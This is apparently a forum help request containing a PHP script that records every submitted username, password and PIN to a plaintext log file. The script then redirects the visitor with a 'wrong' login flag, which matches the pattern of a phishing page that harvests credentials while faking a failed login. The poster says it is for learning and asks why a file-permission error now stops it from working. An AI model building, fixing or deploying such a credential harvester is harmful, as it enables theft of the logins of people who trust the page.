I'm trying to make a QA write every username and password in my private website to a log file (for a learning purposes)
my code is:
<?php
session_start();
if(isset($_POST['input1'])){
$Username = $_POST['input1'];
}
if(isset($_POST['input2'])){
$Password = $_POST['input2'];
}
if(isset($_POST['input3'])){
$PIN = $_POST['input3'];
}
$fh = fopen("logs_" . date('d-M-Y') . ".txt","a");
$stringData = "New Stuff 1\n";
fwrite($fh,"Username: " . $Username . "\n" . " Password: " . $Password . "\n" . " PIN: " . $PIN . "\n----------------------------\n");
fclose($fh);
header("Location: index.php");
$_SESSION['wrong'] = '1';
?>
and i'm getting the following error:
[24-Oct-2016 02:58:23 UTC] PHP Warning: fopen(logs_24-Oct-2016.txt): failed to open stream: Permission denied in /var/www/html/doneA.php on line 16
[24-Oct-2016 02:58:23 UTC] PHP Warning: fwrite() expects parameter 1 to be resource, boolean given in /var/www/html/doneA.php on line 18
[24-Oct-2016 02:58:23 UTC] PHP Warning: fclose() expects parameter 1 to be resource, boolean given in /var/www/html/doneA.php on line 19
It used to work perfectly before, but now i'm getting this error, any ideas?